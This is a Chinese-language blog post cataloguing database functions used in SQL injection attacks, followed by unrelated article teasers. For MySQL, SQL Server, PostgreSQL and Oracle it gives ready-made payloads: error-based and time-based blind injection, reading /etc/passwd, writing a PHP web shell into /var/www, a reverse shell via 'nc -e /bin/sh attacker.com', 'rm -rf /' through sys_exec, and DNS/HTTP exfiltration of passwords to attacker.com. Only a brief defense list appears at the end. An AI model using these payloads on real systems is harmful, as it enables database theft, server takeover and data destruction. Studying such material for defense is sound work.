SQL注入漏洞中会使用到的函数

目录

一、信息获取函数

1. 通用函数

2. 元数据查询(INFORMATION_SCHEMA)

二、字符串操作函数

1. 字符串连接

2. 字符串截取

3. 编码/解码

三、报错注入专用函数

1. MySQL

2. SQL Server

3. PostgreSQL

四、时间盲注函数

1. 通用延迟

2. 计算密集型延迟

五、文件操作函数

1. 文件读取

2. 文件写入

六、系统命令执行函数

1. SQL Server

2. PostgreSQL

3. MySQL(需特殊条件)

七、带外通信(OOB)函数

1. DNS外传数据

2. HTTP请求

八、高级聚合函数

1. 数据聚合

九、JSON/XML操作函数

1. MySQL

2. SQL Server

十、防御规避函数

1. 编码混淆

2. 动态执行

总结与防御建议


以下是SQL注入攻击中常用的数据库函数分类整理,覆盖主流数据库及其高危操作场景:


一、信息获取函数

1. 通用函数
  • DATABASE() 作用:获取当前数据库名称。 示例UNION SELECT DATABASE()

  • USER() / CURRENT_USER() 作用:获取当前数据库用户。

  • VERSION() / @@VERSION 作用:获取数据库版本信息。

2. 元数据查询(INFORMATION_SCHEMA
  • TABLES MySQLSELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() SQL ServerSELECT name FROM sysobjects WHERE xtype='U'

  • COLUMNS OracleSELECT column_name FROM all_tab_columns WHERE table_name='USERS'


二、字符串操作函数

1. 字符串连接
  • CONCAT(str1, str2) 示例CONCAT('user=', USER())

  • ||(Oracle/PostgreSQL) 示例' UNION SELECT 'user: ' || USER() --

2. 字符串截取
  • SUBSTRING(str, start, length) 示例:盲注中逐字符爆破:SUBSTRING((SELECT password FROM users LIMIT 1), 1, 1)

  • SUBSTR()(Oracle/PostgreSQL)

  • LEFT(str, length) / RIGHT(str, length)

3. 编码/解码
  • HEX() / UNHEX() 用途:绕过WAF过滤,如SELECT HEX('admin')61646D696E

  • CHAR(ASCII_CODE) 示例CHAR(97)a


三、报错注入专用函数

1. MySQL
  • UPDATEXML() 语法UPDATEXML(XML_doc, XPath, new_value) 示例AND UPDATEXML(1, CONCAT(0x7e, (SELECT USER()), 0x7e), 1)

  • EXTRACTVALUE() 语法EXTRACTVALUE(XML_doc, XPath) 示例AND EXTRACTVALUE(1, CONCAT(0x7e, VERSION()))

2. SQL Server
  • CONVERT() 触发类型转换错误CONVERT(int, (SELECT TOP 1 table_name FROM sysobjects))

  • ERROR_MESSAGE() 配合TRY-CATCHBEGIN TRY SELECT 1/0 END TRY BEGIN CATCH SELECT ERROR_MESSAGE() END CATCH

3. PostgreSQL
  • CAST() 示例CAST((SELECT CURRENT_USER) AS INTEGER)


四、时间盲注函数

1. 通用延迟
  • SLEEP(seconds)(MySQL) 示例IF(1=1, SLEEP(5), 0)

  • PG_SLEEP(seconds)(PostgreSQL)

  • WAITFOR DELAY '0:0:5'(SQL Server)

2. 计算密集型延迟
  • BENCHMARK(count, expr)(MySQL) 示例BENCHMARK(1000000, MD5('test'))


五、文件操作函数

1. 文件读取
  • LOAD_FILE()(MySQL) 权限需求FILE权限,且secure_file_priv未限制路径 示例UNION SELECT LOAD_FILE('/etc/passwd')

  • pg_read_file()(PostgreSQL) 示例SELECT pg_read_file('/etc/passwd')

2. 文件写入
  • INTO OUTFILE / INTO DUMPFILE(MySQL) 示例SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/shell.php'

  • COPY(PostgreSQL) 示例COPY (SELECT 'malicious code') TO '/var/www/shell.php'


六、系统命令执行函数

1. SQL Server
  • xp_cmdshell 示例EXEC xp_cmdshell 'whoami' 防御:需禁用xp_cmdshell组件。

2. PostgreSQL
  • COPY FROM PROGRAM 示例COPY cmd_exec FROM PROGRAM 'nc -e /bin/sh attacker.com 4444'

3. MySQL(需特殊条件)
  • sys_exec()(UDF提权后) 示例SELECT sys_exec('rm -rf /')


七、带外通信(OOB)函数

1. DNS外传数据
  • LOAD_FILE()(MySQL) 示例LOAD_FILE(CONCAT('\\\\', (SELECT HEX(password)), '.attacker.com\\test'))

  • UTL_HTTP.REQUEST()(Oracle) 示例SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT SYS_CONTEXT('USERENV','CURRENT_USER') FROM DUAL) FROM DUAL

2. HTTP请求
  • HTTPURITYPE(Oracle) 示例SELECT HTTPURITYPE('http://attacker.com/'||(SELECT password FROM users)).GETCLOB() FROM DUAL


八、高级聚合函数

1. 数据聚合
  • GROUP_CONCAT()(MySQL) 示例GROUP_CONCAT(table_name SEPARATOR ',') 用于一次性获取所有表名。

  • STRING_AGG()(SQL Server/PostgreSQL) 用途:合并多行结果为单个字符串。


九、JSON/XML操作函数

1. MySQL
  • JSON_EXTRACT() 绕过技巧SELECT JSON_EXTRACT('{"a":"b"}', CONCAT('$.', (SELECT USER())))

2. SQL Server
  • OPENJSON() 示例SELECT * FROM OPENJSON((SELECT password FROM users FOR JSON PATH))


十、防御规避函数

1. 编码混淆
  • TO_BASE64() / FROM_BASE64()(MySQL 5.6+) 示例SELECT FROM_BASE64('YWRtaW4=')admin

  • ASCII() / ORD() 用途:盲注中逐字符转换ASCII值。

2. 动态执行
  • EXEC()(SQL Server) 示例EXEC('SELECT * FROM users')

  • PREPARE / EXECUTE(MySQL) 示例SET @sql = CONCAT('SELECT * FROM ', (SELECT table_name FROM information_schema.tables LIMIT 1)); PREPARE stmt FROM @sql; EXECUTE stmt;


总结与防御建议

  1. 禁用高危函数:如xp_cmdshellFILE权限等。

  2. 输入过滤:严格校验参数类型,过滤UNIONSLEEP等关键词。

  3. 最小权限原则:数据库账户仅授予必要权限。

  4. 监控异常查询:如频繁出现INFORMATION_SCHEMA访问或LOAD_FILE()调用。

示例攻击链

' UNION SELECT NULL, CONCAT('DB: ', DATABASE(), ' User: ', USER(), ' Version: ', VERSION()), LOAD_FILE('/etc/passwd') 
-- 

掌握这些函数的作用机制,可更精准地设计防御策略与检测规则。


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/77880.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

车载信息安全架构 --- 汽车网络安全

我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 周末洗了一个澡,换了一身衣服,出了门却不知道去哪儿,不知道去找谁,漫无目的走着,大概这就是成年人最深的孤独吧! 旧人不知我近况,新人不知我过…

Linux423 删除用户

查找 上面已查过&#xff1a;无法使用sudo 新开个终端试试 之前开了一个终端&#xff0c;按照deepseek排查 计划再开一个进程 开一个终端 后强制删除时显示&#xff1a;此事将被报告

《从卷积核到数字解码:CNN 手写数字识别实战解析》

文章目录 一、手写数字识别的本质与挑战二、使用步骤1.导入torch库以及与视觉相关的torchvision库2.下载datasets自带的手写数字的数据集到本地 三、完整代码展示 一、手写数字识别的本质与挑战 手写数字识别的核心是&#xff1a;从二维像素矩阵中提取具有判别性的特征&#x…

UniOcc:自动驾驶占用预测和预报的统一基准

25年3月来自 UC Riverside、U Wisconsin 和 TAMU 的论文"UniOcc: A Unified Benchmark for Occupancy Forecasting and Prediction in Autonomous Driving"。 UniOcc 是一个全面统一的占用预测基准&#xff08;即基于历史信息预测未来占用&#xff09;和基于摄像头图…

模型量化核心技术解析:从算法原理到工业级实践

一、模型量化为何成为大模型落地刚需&#xff1f; 算力困境&#xff1a;175B参数模型FP32推理需0.5TB内存&#xff0c;超出主流显卡容量 速度瓶颈&#xff1a;FP16推理延迟难以满足实时对话需求&#xff08;如客服场景<200ms&#xff09; 能效挑战&#xff1a;边缘设备运行…

AD9253链路训练

传统方式 参考Xilinx官方文档xapp524。对于AD9253器件 - 125M采样率 - DDR模式&#xff0c;ADC器件的DCO采样时钟(500M Hz)和FCO帧时钟是中心对齐的&#xff0c;适合直接采样。但是DCO时钟不能直接被FPGA内部逻辑使用&#xff0c;需要经过BUFIO和BUFR缓冲后&#xff0c;得到s_b…

解决方案:远程shell连不上Ubuntu服务器

服务器是可以通过VNC登录&#xff0c;排除了是服务器本身故障 检查服务是否在全网卡监听 sudo ss -tlnp | grep sshd确保有一行类似 LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid...,fd3))返回无结果&#xff0c;表明系统里并没有任…

关于大数据的基础知识(四)——大数据的意义与趋势

成长路上不孤单&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a; 【14后&#x1f60a;///计算机爱好者&#x1f60a;///持续分享所学&#x1f60a;///如有需要欢迎收藏转发///&#x1f60a;】 今日分享关于大数据的基础知识&#xff08;四&a…

智能指针(weak_ptr )之三

1. std::weak_ptr 1.1 定义与用法 std::weak_ptr 是一种不拥有对象所有权的智能指针&#xff0c;用于观察但不影响对象的生命周期。主要用于解决 shared_ptr 之间的循环引用问题。 主要特性&#xff1a; 非拥有所有权&#xff1a;不增加引用计数。可从 shared_ptr 生成&…

学习海康VisionMaster之卡尺工具

一&#xff1a;进一步学习了 今天学习下VisionMaster中的卡尺工具&#xff1a;主要用于测量物体的宽度、边缘的特征的位置以及图像中边缘对的位置和间距 二&#xff1a;开始学习 1&#xff1a;什么是卡尺工具&#xff1f; 如果我需要检测芯片的每一个PIN的宽度和坐标&#xff…

Java面试实战:从Spring Boot到微服务的深入探讨

Java面试实战&#xff1a;从Spring Boot到微服务的深入探讨 场景&#xff1a;电商场景的面试之旅 在某互联网大厂的面试间&#xff0c;面试官李老师正襟危坐&#xff0c;而对面坐着的是传说中的“水货程序员”赵大宝。 第一轮&#xff1a;核心Java与构建工具 面试官&#x…

深入理解 Spring @Configuration 注解

在 Spring 框架中,@Configuration 注解是一个非常重要的工具,它用于定义配置类,这些类可以包含 Bean 定义方法。通过使用 @Configuration 和 @Bean 注解,开发者能够以编程方式创建和管理应用程序上下文中的 Bean。本文将详细介绍 @Configuration 注解的作用、如何使用它以及…

密码学中的盐值是什么?

目录 1. 盐值的基本概念 2. 盐值的作用 (1) 防止彩虹表攻击 (2) 防止相同的密码生成相同的哈希值 (3) 增加暴力破解的难度 3. 如何使用盐值&#xff1f; (1) 生成盐值 (2) 将盐值附加到密码 (3) 存储盐值和哈希值 (4) 验证密码 4. 盐值如何增加暴力破解的难度 在线暴…

基于瑞芯微RK3576国产ARM八核2.2GHz A72 工业评估板——Docker容器部署方法说明

前 言 本文适用开发环境: Windows开发环境:Windows 7 64bit、Windows 10 64bit Linux开发环境:VMware16.2.5、Ubuntu22.04.5 64bit U-Boot:U-Boot-2017.09 Kernel:Linux-6.1.115 LinuxSDK:LinuxSDK-[版本号](基于rk3576_linux6.1_release_v1.1.0) Docker是一个开…

大数据技术全解析

目录 前言1. Kafka&#xff1a;流数据的传输平台1.1 Kafka概述1.2 Kafka的应用场景1.3 Kafka的特点 2. HBase&#xff1a;分布式列式数据库2.1 HBase概述2.2 HBase的应用场景2.3 HBase的特点 3. Hadoop&#xff1a;大数据处理的基石3.1 Hadoop概述3.2 Hadoop的应用场景3.3 Hado…

mcpo的简单使用

1.安装依赖 conda create -n mcpo python3.11 conda activate mcpo pip install mcpo pip install uv2.随便从https://github.com/modelcontextprotocol/servers?tabreadme-ov-file 找一个mcp服务使用就行&#xff0c;我这里选的是爬虫 然后安装 pip install mcp-server-f…

uniapp-商城-32-shop 我的订单-订单详情和组件goods-list

上面完成了我的订单&#xff0c;通过点击我的订单中每一条数据&#xff0c;可以跳转到订单详情中。 这里就需要展示订单的状态&#xff0c;支付状态&#xff0c;物流状态&#xff0c;取货状态&#xff0c;用户信息&#xff0c;订单中的货物详情等。 1、创建一个订单详情文件 …

XCVU13P-2FHGA2104I Xilinx Virtex UltraScale+ FPGA

XCVU13P-2FHGA2104I 是 Xilinx&#xff08;现为 AMD&#xff09;Virtex UltraScale™ FPGA 系列中的高端 Premium 器件&#xff0c;基于 16nm FinFET 工艺并采用 3D IC 堆叠硅互连&#xff08;SSI&#xff09;技术&#xff0c;提供业内顶级的计算密度和带宽​。该芯片集成约 3,…

【Python3】Django 学习之路

第一章&#xff1a;Django 简介 1.1 什么是 Django&#xff1f; Django 是一个高级的 Python Web 框架&#xff0c;旨在让 Web 开发变得更加快速和简便。它鼓励遵循“不要重复自己”&#xff08;DRY&#xff0c;Don’t Repeat Yourself&#xff09;的原则&#xff0c;并提供了…

Python 设计模式:模板模式

1. 什么是模板模式&#xff1f; 模板模式是一种行为设计模式&#xff0c;它定义了一个操作的算法的骨架&#xff0c;而将一些步骤延迟到子类中。模板模式允许子类在不改变算法结构的情况下&#xff0c;重新定义算法的某些特定步骤。 模板模式的核心思想是将算法的固定部分提取…